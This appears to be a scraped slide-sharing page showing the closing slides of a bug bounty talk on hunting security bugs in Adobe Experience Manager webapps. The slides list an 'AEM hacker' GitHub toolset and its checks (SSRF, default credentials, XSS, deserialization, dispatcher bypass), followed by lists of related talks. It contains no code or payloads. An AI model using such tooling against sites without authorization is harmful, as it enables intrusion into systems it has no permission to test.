AEM hacker toolset •https://github.com/0ang3el/aem-hacker.git • aem_hacker.py • aem_discoverer.py • aem_enum.py • aem-rce-sling-script.sh • aem_ssrf2rce.py • aem_server.py & response.bin • You need VPS to run aem_hacker.py 108/110
AEM hacker toolset – aem-hacker.py • Sensitive nodes exposure via DefaultGetServlet (/apps, /etc, /home, /var) • QueryByulderJsonServlet & QueryByulderFeedServlet & GQLSearchServlet exposure • PostServlet exposure • SSRFs checks • LoginStatusServlet & default creds check • SWF XSSes • WCMDebugFilter XSS • SuggestionHandler XSS • Log records exposure via AuditLogServlet • ExternalJobPostServlet javadeser • … 109/110 Tries to bypass AEM dispatcher!!!
THANK U! @0ang3el

More Related Content

PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
PDF
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Mikhail Egorov
 
PDF
Hacking Adobe Experience Manager sites
Mikhail Egorov
 
PDF
DNS hijacking using cloud providers – No verification needed
Frans Rosén
 
PDF
Rapport Projet De Fin D'étude Développent d'une application web avec Symfony2
Sofien Benrhouma
 
PPTX
Emv chip software Writer/Reader ( CHIPSO EMV)
chipso emv
 
PPTX
8 queens problem using back tracking
Tech_MX
 
PDF
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Frans Rosén
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Frans Rosén
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Mikhail Egorov
 
Hacking Adobe Experience Manager sites
Mikhail Egorov
 
DNS hijacking using cloud providers – No verification needed
Frans Rosén
 
Rapport Projet De Fin D'étude Développent d'une application web avec Symfony2
Sofien Benrhouma
 
Emv chip software Writer/Reader ( CHIPSO EMV)
chipso emv
 
8 queens problem using back tracking
Tech_MX
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Frans Rosén
 

What's hot (20)

PDF
Securing AEM webapps by hacking them
Mikhail Egorov
 
PDF
A Hacker's perspective on AEM applications security
Mikhail Egorov
 
PDF
Building Advanced XSS Vectors
Rodolfo Assis (Brute)
 
PDF
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
hacktivity
 
PDF
A story of the passive aggressive sysadmin of AEM
Frans Rosén
 
PPTX
SSRF For Bug Bounties
OWASP Nagpur
 
PPTX
Attacking thru HTTP Host header
Sergey Belov
 
PDF
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
PDF
Offzone | Another waf bypass
Дмитрий Бумов
 
PDF
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa
 
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
bugcrowd
 
PPTX
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
PDF
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
 
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén
 
PDF
A Case Study in Attacking KeePass
Will Schroeder
 
PDF
What should a hacker know about WebDav?
Mikhail Egorov
 
PDF
XSS Magic tricks
GarethHeyes
 
PDF
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
PPTX
Nguyen phuong truong anh a story of bug bounty hunter
Security Bootcamp
 
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Abraham Aranguren
 
Securing AEM webapps by hacking them
Mikhail Egorov
 
A Hacker's perspective on AEM applications security
Mikhail Egorov
 
Building Advanced XSS Vectors
Rodolfo Assis (Brute)
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
hacktivity
 
A story of the passive aggressive sysadmin of AEM
Frans Rosén
 
SSRF For Bug Bounties
OWASP Nagpur
 
Attacking thru HTTP Host header
Sergey Belov
 
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
Offzone | Another waf bypass
Дмитрий Бумов
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa
 
Bug Bounty Hunter Methodology - Nullcon 2016
bugcrowd
 
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén
 
A Case Study in Attacking KeePass
Will Schroeder
 
What should a hacker know about WebDav?
Mikhail Egorov
 
XSS Magic tricks
GarethHeyes
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
Nguyen phuong truong anh a story of bug bounty hunter
Security Bootcamp
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Abraham Aranguren
 
Ad

Similar to Hunting for security bugs in AEM webapps (20)

PDF
Making Joomla Insecure - Explaining security by breaking it
Tim Plummer
 
PDF
Hack & Fix, Hands on ColdFusion Security Training
ColdFusionConference
 
PDF
Rails Security
Wen-Tien Chang
 
PDF
Доклад Михаила Егорова на PHDays
ru_Parallels
 
PDF
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
PPTX
Slides for the #JavaOne Session ID: CON11881
Masoud Kalali
 
PDF
Java EE 6 Security in practice with GlassFish
Markus Eisele
 
PDF
Flashack
n|u - The Open Security Community
 
PDF
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
Felipe Prado
 
PDF
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
GiorgiRcheulishvili
 
PPTX
Sql Injections With Real Life Scenarious
Francis Alexander
 
PPT
Hibernate java and_oracle
Krishnakanth Goud
 
PDF
The top 10 security issues in web applications
Devnology
 
PDF
8 Most Popular Joomla Hacks & How To Avoid Them
SiteGround.com
 
PDF
Rails Security
Jonathan Weiss
 
PPTX
Distributed Automation(2018) - London Test Automation in Devops Meetup
aragavan
 
PPTX
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
Chris Gates
 
PPTX
Splunk: Forward me the REST of those shells
Anthony D Hendricks
 
PDF
6 tips for improving ruby performance
Engine Yard
 
PPSX
Attacking HTML5
AppSec_Labs
 
Making Joomla Insecure - Explaining security by breaking it
Tim Plummer
 
Hack & Fix, Hands on ColdFusion Security Training
ColdFusionConference
 
Rails Security
Wen-Tien Chang
 
Доклад Михаила Егорова на PHDays
ru_Parallels
 
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
Slides for the #JavaOne Session ID: CON11881
Masoud Kalali
 
Java EE 6 Security in practice with GlassFish
Markus Eisele
 
Flashack
n|u - The Open Security Community
 
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
Felipe Prado
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
GiorgiRcheulishvili
 
Sql Injections With Real Life Scenarious
Francis Alexander
 
Hibernate java and_oracle
Krishnakanth Goud
 
The top 10 security issues in web applications
Devnology
 
8 Most Popular Joomla Hacks & How To Avoid Them
SiteGround.com
 
Rails Security
Jonathan Weiss
 
Distributed Automation(2018) - London Test Automation in Devops Meetup
aragavan
 
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
Chris Gates
 
Splunk: Forward me the REST of those shells
Anthony D Hendricks
 
6 tips for improving ruby performance
Engine Yard
 
Attacking HTML5
AppSec_Labs
 
Ad

More from Mikhail Egorov (6)

PDF
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Mikhail Egorov
 
PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Mikhail Egorov
 
PDF
Unsafe JAX-RS: Breaking REST API
Mikhail Egorov
 
PDF
Entity provider selection confusion attacks in JAX-RS applications
Mikhail Egorov
 
PDF
New methods for exploiting ORM injections in Java applications
Mikhail Egorov
 
PDF
ORM2Pwn: Exploiting injections in Hibernate ORM
Mikhail Egorov
 
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Mikhail Egorov
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Mikhail Egorov
 
Unsafe JAX-RS: Breaking REST API
Mikhail Egorov
 
Entity provider selection confusion attacks in JAX-RS applications
Mikhail Egorov
 
New methods for exploiting ORM injections in Java applications
Mikhail Egorov
 
ORM2Pwn: Exploiting injections in Hibernate ORM
Mikhail Egorov
 

Recently uploaded (20)

PDF
JuanConnect E-Wallet Guide for new users.pdf
reggiepongasi2
 
PDF
How Technology Shapes Our Information Age
samarthyaarathod
 
PPTX
DAY 1 - Introduction to Git.pptxttttttttttttttttttttttttttttt
sanskritig1705
 
PPTX
Introduction: Living in the IT ERA.pptx
joycecueva07
 
PDF
B2B Marketing mba class material for study
um24025
 
PDF
Cybersecurity: Understanding Threats, Attacks, and Protective Measures in the...
Riwaz Mahat
 
PPT
Expect The Impossiblesssssssssssssss.ppt
LAWRENCEJEREMYBRIONE
 
PPTX
FreePBX_Project_Presentation_With_Gantt.pptx
denismfalla9
 
PPTX
c_languagew_structure_and_functions.pptx
tkathrani
 
PDF
B450721.pdf American Journal of Multidisciplinary Research and Review
American Journal of Multidisciplinary Research and Review
 
PPTX
Dating App Development Cost: Factors, Features & Estimates
simarjeetsingh3033
 
PDF
AGENT SLOT TERPERCAYA INDONESIA – MAIN MUDAH, WD CEPAT, HANYA DI KANCA4D
kanca4d
 
PPTX
Introduction to networking local area networking
sagar490070
 
PPTX
National-Historical-Commission-of-the-PhilippinesNHCP.pptx
atjrreyn
 
PPTX
IoT Lecture IoT Lecture IoT Lecture IoT Lecture
pratik695690
 
PPTX
LiFi Technology an effective way of Communication
Juliet Thessalonica
 
PDF
Technical SEO Explained: How To Make Your Website Search-Friendly
cinzel communication llp
 
PPTX
Networking2-LECTURE2 this is our lessons
MarkAngeloOprido
 
PPTX
WEEK 15.pptx WEEK 15.pptx WEEK 15.pptx WEEK 15.pptx
RayanRegalado
 
DOCX
MLS 113 Medical Parasitology (LECTURE).docx
aldrinpineda1996
 
JuanConnect E-Wallet Guide for new users.pdf
reggiepongasi2
 
How Technology Shapes Our Information Age
samarthyaarathod
 
DAY 1 - Introduction to Git.pptxttttttttttttttttttttttttttttt
sanskritig1705
 
Introduction: Living in the IT ERA.pptx
joycecueva07
 
B2B Marketing mba class material for study
um24025
 
Cybersecurity: Understanding Threats, Attacks, and Protective Measures in the...
Riwaz Mahat
 
Expect The Impossiblesssssssssssssss.ppt
LAWRENCEJEREMYBRIONE
 
FreePBX_Project_Presentation_With_Gantt.pptx
denismfalla9
 
c_languagew_structure_and_functions.pptx
tkathrani
 
B450721.pdf American Journal of Multidisciplinary Research and Review
American Journal of Multidisciplinary Research and Review
 
Dating App Development Cost: Factors, Features & Estimates
simarjeetsingh3033
 
AGENT SLOT TERPERCAYA INDONESIA – MAIN MUDAH, WD CEPAT, HANYA DI KANCA4D
kanca4d
 
Introduction to networking local area networking
sagar490070
 
National-Historical-Commission-of-the-PhilippinesNHCP.pptx
atjrreyn
 
IoT Lecture IoT Lecture IoT Lecture IoT Lecture
pratik695690
 
LiFi Technology an effective way of Communication
Juliet Thessalonica
 
Technical SEO Explained: How To Make Your Website Search-Friendly
cinzel communication llp
 
Networking2-LECTURE2 this is our lessons
MarkAngeloOprido
 
WEEK 15.pptx WEEK 15.pptx WEEK 15.pptx WEEK 15.pptx
RayanRegalado
 
MLS 113 Medical Parasitology (LECTURE).docx
aldrinpineda1996
 

Hunting for security bugs in AEM webapps